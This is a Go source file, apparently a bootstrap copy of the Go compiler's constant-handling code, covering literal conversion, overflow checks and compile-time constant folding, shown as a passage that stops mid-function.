code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
// Do not edit. Bootstrap copy of /Users/rsc/g/go/src/cmd/internal/gc/const.go // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package gc import ( "rsc.io/tmp/bootstrap/internal/obj" "strings" ) /* * truncate float literal fv to 32-bit or 64-bit precision * according to type; return truncated value. */ func truncfltlit(oldv *Mpflt, t *Type) *Mpflt { if t == nil { return oldv } var v Val v.Ctype = CTFLT v.U.Fval = oldv overflow(v, t) fv := newMpflt() mpmovefltflt(fv, oldv) // convert large precision literal floating // into limited precision (float64 or float32) switch t.Etype { case TFLOAT64: d := mpgetflt(fv) Mpmovecflt(fv, d) case TFLOAT32: d := mpgetflt32(fv) Mpmovecflt(fv, d) } return fv } /* * convert n, if literal, to type t. * implicit conversion. */ func Convlit(np **Node, t *Type) { convlit1(np, t, false) } /* * convert n, if literal, to type t. * return a new node if necessary * (if n is a named constant, can't edit n->type directly). */ func convlit1(np **Node, t *Type, explicit bool) { n := *np if n == nil || t == nil || n.Type == nil || isideal(t) || n.Type == t { return } if !explicit && !isideal(n.Type) { return } if n.Op == OLITERAL { nn := Nod(OXXX, nil, nil) *nn = *n n = nn *np = n } switch n.Op { default: if n.Type == idealbool { if t.Etype == TBOOL { n.Type = t } else { n.Type = Types[TBOOL] } } if n.Type.Etype == TIDEAL { Convlit(&n.Left, t) Convlit(&n.Right, t) n.Type = t } return // target is invalid type for a constant? leave alone. case OLITERAL: if !okforconst[t.Etype] && n.Type.Etype != TNIL { defaultlit(&n, nil) *np = n return } case OLSH, ORSH: convlit1(&n.Left, t, explicit && isideal(n.Left.Type)) t = n.Left.Type if t != nil && t.Etype == TIDEAL && n.Val.Ctype != CTINT { n.Val = toint(n.Val) } if t != nil && !Isint[t.Etype] { Yyerror("invalid operation: %v (shift of type %v)", n, t) t = nil } n.Type = t return case OCOMPLEX: if n.Type.Etype == TIDEAL { switch t.Etype { // If trying to convert to non-complex type, // leave as complex128 and let typechecker complain. default: t = Types[TCOMPLEX128] fallthrough //fallthrough case TCOMPLEX128: n.Type = t Convlit(&n.Left, Types[TFLOAT64]) Convlit(&n.Right, Types[TFLOAT64]) case TCOMPLEX64: n.Type = t Convlit(&n.Left, Types[TFLOAT32]) Convlit(&n.Right, Types[TFLOAT32]) } } return } // avoided repeated calculations, errors if Eqtype(n.Type, t) { return } ct := consttype(n) var et int if ct < 0 { goto bad } et = int(t.Etype) if et == TINTER { if ct == CTNIL && n.Type == Types[TNIL] { n.Type = t return } defaultlit(np, nil) return } switch ct { default: goto bad case CTNIL: switch et { default: n.Type = nil goto bad // let normal conversion code handle it case TSTRING: return case TARRAY: if !Isslice(t) { goto bad } case TPTR32, TPTR64, TINTER, TMAP, TCHAN, TFUNC, TUNSAFEPTR: break // A nil literal may be converted to uintptr // if it is an unsafe.Pointer case TUINTPTR: if n.Type.Etype == TUNSAFEPTR { n.Val.U.Xval = new(Mpint) Mpmovecfix(n.Val.U.Xval, 0) n.Val.Ctype = CTINT } else { goto bad } } case CTSTR, CTBOOL: if et != int(n.Type.Etype) { goto bad } case CTINT, CTRUNE, CTFLT, CTCPLX: ct := int(n.Val.Ctype) if Isint[et] { switch ct { default: goto bad case CTCPLX, CTFLT, CTRUNE: n.Val = toint(n.Val) fallthrough // flowthrough case CTINT: overflow(n.Val, t) } } else if Isfloat[et] { switch ct { default: goto bad case CTCPLX, CTINT, CTRUNE: n.Val = toflt(n.Val) fallthrough // flowthrough case CTFLT: n.Val.U.Fval = truncfltlit(n.Val.U.Fval, t) } } else if Iscomplex[et] { switch ct { default: goto bad case CTFLT, CTINT, CTRUNE: n.Val = tocplx(n.Val) case CTCPLX: overflow(n.Val, t) } } else if et == TSTRING && (ct == CTINT || ct == CTRUNE) && explicit { n.Val = tostr(n.Val) } else { goto bad } } n.Type = t return bad: if n.Diag == 0 { if t.Broke == 0 { Yyerror("cannot convert %v to type %v", n, t) } n.Diag = 1 } if isideal(n.Type) { defaultlit(&n, nil) *np = n } return } func copyval(v Val) Val { switch v.Ctype { case CTINT, CTRUNE: i := new(Mpint) mpmovefixfix(i, v.U.Xval) v.U.Xval = i case CTFLT: f := newMpflt() mpmovefltflt(f, v.U.Fval) v.U.Fval = f case CTCPLX: c := new(Mpcplx) mpmovefltflt(&c.Real, &v.U.Cval.Real) mpmovefltflt(&c.Imag, &v.U.Cval.Imag) v.U.Cval = c } return v } func tocplx(v Val) Val { switch v.Ctype { case CTINT, CTRUNE: c := new(Mpcplx) Mpmovefixflt(&c.Real, v.U.Xval) Mpmovecflt(&c.Imag, 0.0) v.Ctype = CTCPLX v.U.Cval = c case CTFLT: c := new(Mpcplx) mpmovefltflt(&c.Real, v.U.Fval) Mpmovecflt(&c.Imag, 0.0) v.Ctype = CTCPLX v.U.Cval = c } return v } func toflt(v Val) Val { switch v.Ctype { case CTINT, CTRUNE: f := newMpflt() Mpmovefixflt(f, v.U.Xval) v.Ctype = CTFLT v.U.Fval = f case CTCPLX: f := newMpflt() mpmovefltflt(f, &v.U.Cval.Real) if mpcmpfltc(&v.U.Cval.Imag, 0) != 0 { Yyerror("constant %v%vi truncated to real", Fconv(&v.U.Cval.Real, obj.FmtSharp), Fconv(&v.U.Cval.Imag, obj.FmtSharp|obj.FmtSign)) } v.Ctype = CTFLT v.U.Fval = f } return v } func toint(v Val) Val { switch v.Ctype { case CTRUNE: v.Ctype = CTINT case CTFLT: i := new(Mpint) if mpmovefltfix(i, v.U.Fval) < 0 { Yyerror("constant %v truncated to integer", Fconv(v.U.Fval, obj.FmtSharp)) } v.Ctype = CTINT v.U.Xval = i case CTCPLX: i := new(Mpint) if mpmovefltfix(i, &v.U.Cval.Real) < 0 { Yyerror("constant %v%vi truncated to integer", Fconv(&v.U.Cval.Real, obj.FmtSharp), Fconv(&v.U.Cval.Imag, obj.FmtSharp|obj.FmtSign)) } if mpcmpfltc(&v.U.Cval.Imag, 0) != 0 { Yyerror("constant %v%vi truncated to real", Fconv(&v.U.Cval.Real, obj.FmtSharp), Fconv(&v.U.Cval.Imag, obj.FmtSharp|obj.FmtSign)) } v.Ctype = CTINT v.U.Xval = i } return v } func doesoverflow(v Val, t *Type) bool { switch v.Ctype { case CTINT, CTRUNE: if !Isint[t.Etype] { Fatal("overflow: %v integer constant", t) } if Mpcmpfixfix(v.U.Xval, Minintval[t.Etype]) < 0 || Mpcmpfixfix(v.U.Xval, Maxintval[t.Etype]) > 0 { return true } case CTFLT: if !Isfloat[t.Etype] { Fatal("overflow: %v floating-point constant", t) } if mpcmpfltflt(v.U.Fval, minfltval[t.Etype]) <= 0 || mpcmpfltflt(v.U.Fval, maxfltval[t.Etype]) >= 0 { return true } case CTCPLX: if !Iscomplex[t.Etype] { Fatal("overflow: %v complex constant", t) } if mpcmpfltflt(&v.U.Cval.Real, minfltval[t.Etype]) <= 0 || mpcmpfltflt(&v.U.Cval.Real, maxfltval[t.Etype]) >= 0 || mpcmpfltflt(&v.U.Cval.Imag, minfltval[t.Etype]) <= 0 || mpcmpfltflt(&v.U.Cval.Imag, maxfltval[t.Etype]) >= 0 { return true } } return false } func overflow(v Val, t *Type) { // v has already been converted // to appropriate form for t. if t == nil || t.Etype == TIDEAL { return } if !doesoverflow(v, t) { return } switch v.Ctype { case CTINT, CTRUNE: Yyerror("constant %v overflows %v", v.U.Xval, t) case CTFLT: Yyerror("constant %v overflows %v", Fconv(v.U.Fval, obj.FmtSharp), t) case CTCPLX: Yyerror("constant %v overflows %v", Fconv(v.U.Fval, obj.FmtSharp), t) } } func tostr(v Val) Val { switch v.Ctype { case CTINT, CTRUNE: if Mpcmpfixfix(v.U.Xval, Minintval[TINT]) < 0 || Mpcmpfixfix(v.U.Xval, Maxintval[TINT]) > 0 { Yyerror("overflow in int -> string") } r := uint(Mpgetfix(v.U.Xval)) v = Val{} v.Ctype = CTSTR v.U.Sval = string(r) case CTFLT: Yyerror("no float -> string") fallthrough case CTNIL: v = Val{} v.Ctype = CTSTR v.U.Sval = "" } return v } func consttype(n *Node) int { if n == nil || n.Op != OLITERAL { return -1 } return int(n.Val.Ctype) } func Isconst(n *Node, ct int) bool { t := consttype(n) // If the caller is asking for CTINT, allow CTRUNE too. // Makes life easier for back ends. return t == ct || (ct == CTINT && t == CTRUNE) } func saveorig(n *Node) *Node { if n == n.Orig { // duplicate node for n->orig. n1 := Nod(OLITERAL, nil, nil) n.Orig = n1 *n1 = *n } return n.Orig } /* * if n is constant, rewrite as OLITERAL node. */ func evconst(n *Node) { // pick off just the opcodes that can be // constant evaluated. switch n.Op { default: return case OADD, OAND, OANDAND, OANDNOT, OARRAYBYTESTR, OCOM, ODIV, OEQ, OGE, OGT, OLE, OLSH, OLT, OMINUS, OMOD, OMUL, ONE, ONOT, OOR, OOROR, OPLUS, ORSH, OSUB, OXOR: break case OCONV: if n.Type == nil { return } if !okforconst[n.Type.Etype] && n.Type.Etype != TNIL { return } // merge adjacent constants in the argument list. case OADDSTR: var nr *Node var nl *Node var l2 *NodeList for l1 := n.List; l1 != nil; l1 = l1.Next { if Isconst(l1.N, CTSTR) && l1.Next != nil && Isconst(l1.Next.N, CTSTR) { // merge from l1 up to but not including l2 var strs []string l2 = l1 for l2 != nil && Isconst(l2.N, CTSTR) { nr = l2.N strs = append(strs, nr.Val.U.Sval) l2 = l2.Next } nl = Nod(OXXX, nil, nil) *nl = *l1.N nl.Orig = nl nl.Val.Ctype = CTSTR nl.Val.U.Sval = strings.Join(strs, "") l1.N = nl l1.Next = l2 } } // fix list end pointer. for l2 := n.List; l2 != nil; l2 = l2.Next { n.List.End = l2 } // collapse single-constant list to single constant. if count(n.List) == 1 && Isconst(n.List.N, CTSTR) { n.Op = OLITERAL n.Val = n.List.N.Val } return } nl := n.Left if nl == nil || nl.Type == nil { return } if consttype(nl) < 0 { return } wl := int(nl.Type.Etype) if Isint[wl] || Isfloat[wl] || Iscomplex[wl] { wl = TIDEAL } nr := n.Right var rv Val var lno int var wr int var v Val var norig *Node if nr == nil { // copy numeric value to avoid modifying // nl, in case someone still refers to it (e.g. iota). v = nl.Val if wl == TIDEAL { v = copyval(v) } switch uint32(n.Op)<<16 | uint32(v.Ctype) { default: if n.Diag == 0 { Yyerror("illegal constant expression %v %v", Oconv(int(n.Op), 0), nl.Type) n.Diag = 1 } return case OCONV<<16 | CTNIL, OARRAYBYTESTR<<16 | CTNIL: if n.Type.Etype == TSTRING { v = tostr(v) nl.Type = n.Type break } fallthrough // fall through case OCONV<<16 | CTINT, OCONV<<16 | CTRUNE, OCONV<<16 | CTFLT, OCONV<<16 | CTSTR: convlit1(&nl, n.Type, true) v = nl.Val case OPLUS<<16 | CTINT, OPLUS<<16 | CTRUNE: break case OMINUS<<16 | CTINT, OMINUS<<16 | CTRUNE: mpnegfix(v.U.Xval) case OCOM<<16 | CTINT, OCOM<<16 | CTRUNE: et := Txxx if nl.Type != nil { et = int(nl.Type.Etype) } // calculate the mask in b // result will be (a ^ mask) var b Mpint switch et { // signed guys change sign default: Mpmovecfix(&b, -1) // unsigned guys invert their bits case TUINT8, TUINT16, TUINT32, TUINT64, TUINT, TUINTPTR: mpmovefixfix(&b, Maxintval[et]) } mpxorfixfix(v.U.Xval, &b) case OPLUS<<16 | CTFLT: break case OMINUS<<16 | CTFLT: mpnegflt(v.U.Fval) case OPLUS<<16 | CTCPLX: break case OMINUS<<16 | CTCPLX: mpnegflt(&v.U.Cval.Real) mpnegflt(&v.U.Cval.Imag) case ONOT<<16 | CTBOOL: if !v.U.Bval { goto settrue } goto setfalse } goto ret } if nr.Type == nil { return } if consttype(nr) < 0 { return } wr = int(nr.Type.Etype) if Isint[wr] || Isfloat[wr] || Iscomplex[wr] { wr = TIDEAL } // check for compatible general types (numeric, string, etc) if wl != wr { goto illegal } // check for compatible types. switch n.Op { // ideal const mixes with anything but otherwise must match. default: if nl.Type.Etype != TIDEAL { defaultlit(&nr, nl.Type) n.Right = nr } if nr.Type.Etype != TIDEAL { defaultlit(&nl, nr.Type) n.Left = nl } if nl.Type.Etype != nr.Type.Etype { goto illegal } // right must be unsigned. // left can be ideal. case OLSH, ORSH: defaultlit(&nr, Types[TUINT]) n.Right = nr if nr.Type != nil && (Issigned[nr.Type.Etype] || !Isint[nr.Type.Etype]) { goto illegal } if nl.Val.Ctype != CTRUNE { nl.Val = toint(nl.Val) } nr.Val = toint(nr.Val) } // copy numeric value to avoid modifying // n->left, in case someone still refers to it (e.g. iota). v = nl.Val if wl == TIDEAL { v = copyval(v) } rv = nr.Val // convert to common ideal if v.Ctype == CTCPLX || rv.Ctype == CTCPLX { v = tocplx(v) rv = tocplx(rv) } if v.Ctype == CTFLT || rv.Ctype == CTFLT { v = toflt(v) rv = toflt(rv) } // Rune and int turns into rune. if v.Ctype == CTRUNE && rv.Ctype == CTINT { rv.Ctype = CTRUNE } if v.Ctype == CTINT && rv.Ctype == CTRUNE { if n.Op == OLSH || n.Op == ORSH { rv.Ctype = CTINT } else { v.Ctype = CTRUNE } } if v.Ctype != rv.Ctype { // Use of undefined name as constant? if (v.Ctype == 0 || rv.Ctype == 0) && nerrors > 0 { return } Fatal("constant type mismatch %v(%d) %v(%d)", nl.Type, v.Ctype, nr.Type, rv.Ctype) } // run op switch uint32(n.Op)<<16 | uint32(v.Ctype) { default: goto illegal case OADD<<16 | CTINT, OADD<<16 | CTRUNE: mpaddfixfix(v.U.Xval, rv.U.Xval, 0) case OSUB<<16 | CTINT, OSUB<<16 | CTRUNE: mpsubfixfix(v.U.Xval, rv.U.Xval) case OMUL<<16 | CTINT, OMUL<<16 | CTRUNE: mpmulfixfix(v.U.Xval, rv.U.Xval) case ODIV<<16 | CTINT, ODIV<<16 | CTRUNE: if mpcmpfixc(rv.U.Xval, 0) == 0 { Yyerror("division by zero") Mpmovecfix(v.U.Xval, 1) break } mpdivfixfix(v.U.Xval, rv.U.Xval) case OMOD<<16 | CTINT, OMOD<<16 | CTRUNE: if mpcmpfixc(rv.U.Xval, 0) == 0 { Yyerror("division by zero") Mpmovecfix(v.U.Xval, 1) break } mpmodfixfix(v.U.Xval, rv.U.Xval) case OLSH<<16 | CTINT, OLSH<<16 | CTRUNE: mplshfixfix(v.U.Xval, rv.U.Xval) case ORSH<<16 | CTINT, ORSH<<16 | CTRUNE: mprshfixfix(v.U.Xval, rv.U.Xval) case OOR<<16 | CTINT, OOR<<16 | CTRUNE: mporfixfix(v.U.Xval, rv.U.Xval) case OAND<<16 | CTINT, OAND<<16 | CTRUNE: mpandfixfix(v.U.Xval, rv.U.Xval) case OANDNOT<<16 | CTINT, OANDNOT<<16 | CTRUNE: mpandnotfixfix(v.U.Xval, rv.U.Xval) case OXOR<<16 | CTINT, OXOR<<16 | CTRUNE: mpxorfixfix(v.U.Xval, rv.U.Xval) case OADD<<16 | CTFLT: mpaddfltflt(v.U.Fval, rv.U.Fval) case OSUB<<16 | CTFLT: mpsubfltflt(v.U.Fval, rv.U.Fval) case OMUL<<16 | CTFLT: mpmulfltflt(v.U.Fval, rv.U.Fval) case ODIV<<16 | CTFLT: if mpcmpfltc(rv.U.Fval, 0) == 0 { Yyerror("division by zero") Mpmovecflt(v.U.Fval, 1.0) break } mpdivfltflt(v.U.Fval, rv.U.Fval) // The default case above would print 'ideal % ideal', // which is not quite an ideal error. case OMOD<<16 | CTFLT: if n.Diag == 0 { Yyerror("illegal constant expression: floating-point %% operation") n.Diag = 1 } return case OADD<<16 | CTCPLX: mpaddfltflt(&v.U.Cval.Real, &rv.U.Cval.Real) mpaddfltflt(&v.U.Cval.Imag, &rv.U.Cval.Imag) case OSUB<<16 | CTCPLX: mpsubfltflt(&v.U.Cval.Real, &rv.U.Cval.Real) mpsubfltflt(&v.U.Cval.Imag, &rv.U.Cval.Imag) case OMUL<<16 | CTCPLX: cmplxmpy(v.U.Cval, rv.U.Cval) case ODIV<<16 | CTCPLX: if mpcmpfltc(&rv.U.Cval.Real, 0) == 0 && mpcmpfltc(&rv.U.Cval.Imag, 0) == 0 { Yyerror("complex division by zero") Mpmovecflt(&rv.U.Cval.Real, 1.0) Mpmovecflt(&rv.U.Cval.Imag, 0.0) break } cmplxdiv(v.U.Cval, rv.U.Cval) case OEQ<<16 | CTNIL: goto settrue case ONE<<16 | CTNIL: goto setfalse case OEQ<<16 | CTINT, OEQ<<16 | CTRUNE: if Mpcmpfixfix(v.U.Xval, rv.U.Xval) == 0 { goto settrue } goto setfalse case ONE<<16 | CTINT, ONE<<16 | CTRUNE: if Mpcmpfixfix(v.U.Xval, rv.U.Xval) != 0 { goto settrue } goto setfalse case OLT<<16 | CTINT, OLT<<16 | CTRUNE: if Mpcmpfixfix(v.U.Xval, rv.U.Xval) < 0 { goto settrue } goto setfalse case OLE<<16 | CTINT, OLE<<16 | CTRUNE: if Mpcmpfixfix(v.U.Xval, rv.U.Xval) <= 0 { goto settrue } goto setfalse case OGE<<16 | CTINT, OGE<<16 | CTRUNE: if Mpcmpfixfix(v.U.Xval, rv.U.Xval) >= 0 { goto settrue } goto setfalse case OGT<<16 | CTINT, OGT<<16 | CTRUNE: if Mpcmpfixfix(v.U.Xval, rv.U.Xval) > 0 { goto settrue } goto setfalse case OEQ<<16 | CTFLT: if mpcmpfltflt(v.U.Fval, rv.U.Fval) == 0 { goto settrue } goto setfalse case ONE<<16 | CTFLT: if mpcmpfltflt(v.U.Fval, rv.U.Fval) != 0 { goto settrue } goto setfalse case OLT<<16 | CTFLT: if mpcmpfltflt(v.U.Fval, rv.U.Fval) < 0 { goto settrue } goto setfalse case OLE<<16 | CTFLT: if mpcmpfltflt(v.U.Fval, rv.U.Fval) <= 0 { goto settrue } goto setfalse case OGE<<16 | CTFLT: if mpcmpfltflt(v.U.Fval, rv.U.Fval) >= 0 { goto settrue } goto setfalse case OGT<<16 | CTFLT: if mpcmpfltflt(v.U.Fval, rv.U.Fval) > 0 { goto settrue } goto setfalse case OEQ<<16 | CTCPLX: if mpcmpfltflt(&v.U.Cval.Real, &rv.U.Cval.Real) == 0 && mpcmpfltflt(&v.U.Cval.Imag, &rv.U.Cval.Imag) == 0 { goto settrue } goto setfalse case ONE<<16 | CTCPLX: if mpcmpfltflt(&v.U.Cval.Real, &rv.U.Cval.Real) != 0 || mpcmpfltflt(&v.U.Cval.Imag, &rv.U.Cval.Imag) != 0 { goto settrue } goto setfalse case OEQ<<16 | CTSTR: if cmpslit(nl, nr) == 0 { goto settrue } goto setfalse case ONE<<16 | CTSTR: if cmpslit(nl, nr) != 0 { goto settrue } goto setfalse case OLT<<16 | CTSTR: if cmpslit(nl, nr) < 0 { goto settrue } goto setfalse case OLE<<16 | CTSTR: if cmpslit(nl, nr) <= 0 { goto settrue } goto setfalse case OGE<<16 | CTSTR: if cmpslit(nl, nr) >= 0 { goto settrue } goto setfalse case OGT<<16 | CTSTR: if cmpslit(nl, nr) > 0 { goto settrue } goto setfalse case OOROR<<16 | CTBOOL: if v.U.Bval || rv.U.Bval { goto settrue } goto setfalse case OANDAND<<16 | CTBOOL: if v.U.Bval && rv.U.Bval { goto settrue } goto setfalse case OEQ<<16 | CTBOOL: if v.U.Bval == rv.U.Bval { goto settrue } goto setfalse case ONE<<16 | CTBOOL: if v.U.Bval != rv.U.Bval { goto settrue } goto setfalse } goto ret ret: norig = saveorig(n) *n = *nl // restore value of n->orig. n.Orig = norig n.Val = v // check range. lno = int(setlineno(n)) overflow(v, n.Type) lineno = int32(lno) // truncate precision for non-ideal float. if v.Ctype == CTFLT && n.Type.Etype != TIDEAL { n.Val.U.Fval = truncfltlit(v.U.Fval, n.Type) } return settrue: norig = saveorig(n) *n = *Nodbool(true) n.Orig = norig return setfalse: norig = saveorig(n) *n = *Nodbool(false) n.Orig = norig return illegal: if n.Diag == 0 { Yyerror("illegal constant expression: %v %v %v", nl.Type, Oconv(int(n.Op), 0), nr.Type) n.Diag = 1 } return } func nodlit(v Val) *Node { n := Nod(OLITERAL, nil, nil) n.Val = v switch v.Ctype { default: Fatal("nodlit ctype %d", v.Ctype) case CTSTR: n.Type = idealstring case CTBOOL: n.Type = idealbool case CTINT, CTRUNE, CTFLT, CTCPLX: n.Type = Types[TIDEAL] case CTNIL: n.Type = Types[TNIL] } return n } func nodcplxlit(r Val, i Val) *Node { r = toflt(r) i = toflt(i) c := new(Mpcplx) n := Nod(OLITERAL, nil, nil) n.Type = Types[TIDEAL] n.Val.U.Cval = c n.Val.Ctype = CTCPLX if r.Ctype != CTFLT || i.Ctype != CTFLT { Fatal("nodcplxlit ctype %d/%d", r.Ctype, i.Ctype) } mpmovefltflt(&c.Real, r.U.Fval) mpmovefltflt(&c.Imag, i.U.Fval) return n } // idealkind returns a constant kind like consttype // but for an arbitrary "ideal" (untyped constant) expression. func idealkind(n *Node) int { if n == nil || !isideal(n.Type) { return CTxxx } switch n.Op { default: return CTxxx case OLITERAL: return int(n.Val.Ctype) // numeric kinds. case OADD, OAND, OANDNOT, OCOM, ODIV, OMINUS, OMOD, OMUL, OSUB, OXOR, OOR, OPLUS: k1 := idealkind(n.Left) k2 := idealkind(n.Right) if k1 > k2 { return k1 } else { return k2 } case OREAL, OIMAG: return CTFLT case OCOMPLEX: return CTCPLX case OADDSTR: return CTSTR case OANDAND, OEQ, OGE, OGT, OLE, OLT, ONE, ONOT, OOROR, OCMPSTR, OCMPIFACE: return CTBOOL // shifts (beware!). case OLSH, ORSH: return idealkind(n.Left) } } func defaultlit(np **Node, t *Type) { n := *np if n == nil || !isideal(n.Type) { return } if n.Op == OLITERAL { nn := Nod(OXXX, nil, nil) *nn = *n n = nn *np = n } lno := int(setlineno(n)) ctype := idealkind(n) var t1 *Type switch ctype { default: if t != nil { Convlit(np, t) return } if n.Val.Ctype == CTNIL { lineno = int32(lno) if n.Diag == 0 { Yyerror("use of untyped nil") n.Diag = 1 } n.Type = nil break } if n.Val.Ctype == CTSTR { t1 := Types[TSTRING] Convlit(np, t1) break } Yyerror("defaultlit: unknown literal: %v", n) case CTxxx: Fatal("defaultlit: idealkind is CTxxx: %v", Nconv(n, obj.FmtSign)) case CTBOOL: t1 := Types[TBOOL] if t != nil && t.Etype == TBOOL { t1 = t } Convlit(np, t1) case CTINT: t1 = Types[TINT] goto num case CTRUNE: t1 = runetype goto num case CTFLT: t1 = Types[TFLOAT64] goto num case CTCPLX: t1 = Types[TCOMPLEX128] goto num } lineno = int32(lno) return num: if t != nil { if Isint[t.Etype] { t1 = t n.Val = toint(n.Val) } else if Isfloat[t.Etype] { t1 = t n.Val = toflt(n.Val) } else if Iscomplex[t.Etype] { t1 = t n.Val = tocplx(n.Val) } } overflow(n.Val, t1) Convlit(np, t1) lineno = int32(lno) return } /* * defaultlit on both nodes simultaneously; * if they're both ideal going in they better * get the same type going out. * force means must assign concrete (non-ideal) type. */ func defaultlit2(lp **Node, rp **Node, force int) { l := *lp r := *rp if l.Type == nil || r.Type == nil { return } if !isideal(l.Type) { Convlit(rp, l.Type) return } if !isideal(r.Type) { Convlit(lp, r.Type) return } if force == 0 { return } if l.Type.Etype == TBOOL { Convlit(lp, Types[TBOOL]) Convlit(rp, Types[TBOOL]) } lkind := idealkind(l) rkind := idealkind(r) if lkind == CTCPLX || rkind == CTCPLX { Convlit(lp, Types[TCOMPLEX128]) Convlit(rp, Types[TCOMPLEX128]) return } if lkind == CTFLT || rkind == CTFLT { Convlit(lp, Types[TFLOAT64]) Convlit(rp, Types[TFLOAT64]) return } if lkind == CTRUNE || rkind == CTRUNE { Convlit(lp, runetype) Convlit(rp, runetype) return } Convlit(lp, Types[TINT]) Convlit(rp, Types[TINT]) } func cmpslit(l, r *Node) int { return stringsCompare(l.Val.U.Sval, r.Val.U.Sval) } func Smallintconst(n *Node) bool { if n.Op == OLITERAL && Isconst(n, CTINT) && n.Type != nil { switch Simtype[n.Type.Etype] { case TINT8, TUINT8, TINT16, TUINT16, TINT32, TUINT32, TBOOL, TPTR32: return true case TIDEAL, TINT64, TUINT64, TPTR64: if Mpcmpfixfix(n.Val.U.Xval, Minintval[TINT32]) < 0 || Mpcmpfixfix(n.Val.U.Xval, Maxintval[TINT32]) > 0 { break } return true } } return false } func nonnegconst(n *Node) int { if n.Op == OLITERAL && n.Type != nil { switch Simtype[n.Type.Etype] { // check negative and 2^31 case TINT8, TUINT8, TINT16, TUINT16, TINT32, TUINT32, TINT64, TUINT64, TIDEAL: if Mpcmpfixfix(n.Val.U.Xval, Minintval[TUINT32]) < 0 || Mpcmpfixfix(n.Val.U.Xval, Maxintval[TINT32]) > 0 { break } return int(Mpgetfix(n.Val.U.Xval)) } } return -1 } /* * convert x to type et and back to int64 * for sign extension and truncation. */ func iconv(x int64, et int) int64 { switch et { case TINT8: x = int64(int8(x)) case TUINT8: x = int64(uint8(x)) case TINT16: x = int64(int16(x)) case TUINT16: x = int64(uint64(x)) case TINT32: x = int64(int32(x)) case TUINT32: x = int64(uint32(x)) case TINT64, TUINT64: break } return x } /* * convert constant val to type t; leave in con. * for back end. */ func Convconst(con *Node, t *Type, val *Val) { tt := Simsimtype(t) // copy the constant for conversion Nodconst(con, Types[TINT8], 0) con.Type = t con.Val = *val if Isint[tt] { con.Val.Ctype = CTINT con.Val.U.Xval = new(Mpint) var i int64 switch val.Ctype { default: Fatal("convconst ctype=%d %v", val.Ctype, Tconv(t, obj.FmtLong)) case CTINT, CTRUNE: i = Mpgetfix(val.U.Xval) case CTBOOL: i = int64(obj.Bool2int(val.U.Bval)) case CTNIL: i = 0 } i = iconv(i, tt) Mpmovecfix(con.Val.U.Xval, i) return } if Isfloat[tt] { con.Val = toflt(con.Val) if con.Val.Ctype != CTFLT { Fatal("convconst ctype=%d %v", con.Val.Ctype, t) } if tt == TFLOAT32 { con.Val.U.Fval = truncfltlit(con.Val.U.Fval, t) } return } if Iscomplex[tt] { con.Val = tocplx(con.Val) if tt == TCOMPLEX64 { con.Val.U.Cval.Real = *truncfltlit(&con.Val.U.Cval.Real, Types[TFLOAT32]) con.Val.U.Cval.Imag = *truncfltlit(&con.Val.U.Cval.Imag, Types[TFLOAT32]) } return } Fatal("convconst %v constant", Tconv(t, obj.FmtLong)) } // complex multiply v *= rv // (a, b) * (c, d) = (a*c - b*d, b*c + a*d) func cmplxmpy(v *Mpcplx, rv *Mpcplx) { var ac Mpflt var bd Mpflt var bc Mpflt var ad Mpflt mpmovefltflt(&ac, &v.Real) mpmulfltflt(&ac, &rv.Real) // ac mpmovefltflt(&bd, &v.Imag) mpmulfltflt(&bd, &rv.Imag) // bd mpmovefltflt(&bc, &v.Imag) mpmulfltflt(&bc, &rv.Real) // bc mpmovefltflt(&ad, &v.Real) mpmulfltflt(&ad, &rv.Imag) // ad mpmovefltflt(&v.Real, &ac) mpsubfltflt(&v.Real, &bd) // ac-bd mpmovefltflt(&v.Imag, &bc) mpaddfltflt(&v.Imag, &ad) // bc+ad } // complex divide v /= rv // (a, b) / (c, d) = ((a*c + b*d), (b*c - a*d))/(c*c + d*d) func cmplxdiv(v *Mpcplx, rv *Mpcplx) { var ac Mpflt var bd Mpflt var bc Mpflt var ad Mpflt var cc_plus_dd Mpflt mpmovefltflt(&cc_plus_dd, &rv.Real) mpmulfltflt(&cc_plus_dd, &rv.Real) // cc mpmovefltflt(&ac, &rv.Imag) mpmulfltflt(&ac, &rv.Imag) // dd mpaddfltflt(&cc_plus_dd, &ac) // cc+dd mpmovefltflt(&ac, &v.Real) mpmulfltflt(&ac, &rv.Real) // ac mpmovefltflt(&bd, &v.Imag) mpmulfltflt(&bd, &rv.Imag) // bd mpmovefltflt(&bc, &v.Imag) mpmulfltflt(&bc, &rv.Real) // bc mpmovefltflt(&ad, &v.Real) mpmulfltflt(&ad, &rv.Imag) // ad mpmovefltflt(&v.Real, &ac) mpaddfltflt(&v.Real, &bd) // ac+bd mpdivfltflt(&v.Real, &cc_plus_dd) // (ac+bd)/(cc+dd) mpmovefltflt(&v.Imag, &bc) mpsubfltflt(&v.Imag, &ad) // bc-ad mpdivfltflt(&v.Imag, &cc_plus_dd) // (bc+ad)/(cc+dd) } // Is n a Go language constant (as opposed to a compile-time constant)? // Expressions derived from nil, like string([]byte(nil)), while they // may be known at compile time, are not Go language constants. // Only called for expressions known to evaluated to compile-time // constants. func isgoconst(n *Node) bool { if n.Orig != nil { n = n.Orig } switch n.Op { case OADD, OADDSTR, OAND, OANDAND, OANDNOT, OCOM, ODIV, OEQ, OGE, OGT, OLE, OLSH, OLT, OMINUS, OMOD, OMUL, ONE, ONOT, OOR, OOROR, OPLUS, ORSH, OSUB, OXOR, OIOTA, OCOMPLEX, OREAL, OIMAG: if isgoconst(n.Left) && (n.Right == nil || isgoconst(n.Right)) { return true } case OCONV: if okforconst[n.Type.Etype] && isgoconst(n.Left) { return true } case OLEN, OCAP: l := n.Left if isgoconst(l) { return true } // Special case: len/cap is constant when applied to array or // pointer to array when the expression does not contain // function calls or channel receive operations. t := l.Type if t != nil && Isptr[t.Etype] { t = t.Type } if Isfixedarray(t) && !hascallchan(l) { return true } case OLITERAL: if n.Val.Ctype != CTNIL { return true } case ONAME: l := n.Sym.Def if l != nil && l.Op == OLITERAL && n.Val.Ctype != CTNIL { return true } case ONONAME: if n.Sym.Def != nil && n.Sym.Def.Op == OIOTA { return true } // Only constant calls are unsafe.Alignof, Offsetof, and Sizeof. case OCALL: l := n.Left for l.Op == OPAREN { l = l.Left } if l.Op != ONAME || l.Sym.Pkg != unsafepkg { break } if l.Sym.Name == "Alignof" || l.Sym.Name == "Offsetof" || l.Sym.Name == "Sizeof" { return true } } //dump("nonconst", n); return false } func hascallchan(n *Node) bool { if n == nil { return false } switch 